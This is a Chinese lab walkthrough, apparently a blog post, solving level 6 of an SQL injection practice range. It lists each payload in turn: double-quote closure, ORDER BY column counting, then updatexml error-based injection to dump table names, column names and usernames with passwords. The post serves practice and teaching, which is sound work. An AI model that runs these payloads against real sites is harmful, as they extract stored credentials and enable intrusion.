SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
西门吹雪分身11 分钟前
mysql之数据离线迁移
数据库·mysql
电商API&Tina44 分钟前
京东商品详情API接口接入与应用
数据库·microsoft
OnYoung1 小时前
理解关系数据库表间的一对一和一对多关系
数据库
南 阳1 小时前
Python从入门到精通day37
数据库·python·oracle
轩情吖2 小时前
MySQL初识
android·数据库·sql·mysql·adb·存储引擎
Traced back2 小时前
【.NET7 WinForm 实战】三层架构+EF Core+多数据库+完整功能(源码+教程+脚本)
数据库·架构·.net
观测云2 小时前
KES(KingbaseES)数据库监控最佳实践
数据库
ding_zhikai2 小时前
【Web应用开发笔记】Django笔记4-1:简单使用 Django 与本地数据库
数据库·笔记·后端·python
奇点爆破XC2 小时前
Redis迁移
数据库·redis·bootstrap
james的分享2 小时前
大数据领域核心 SQL 优化框架Apache Calcite介绍
大数据·sql·apache·calcite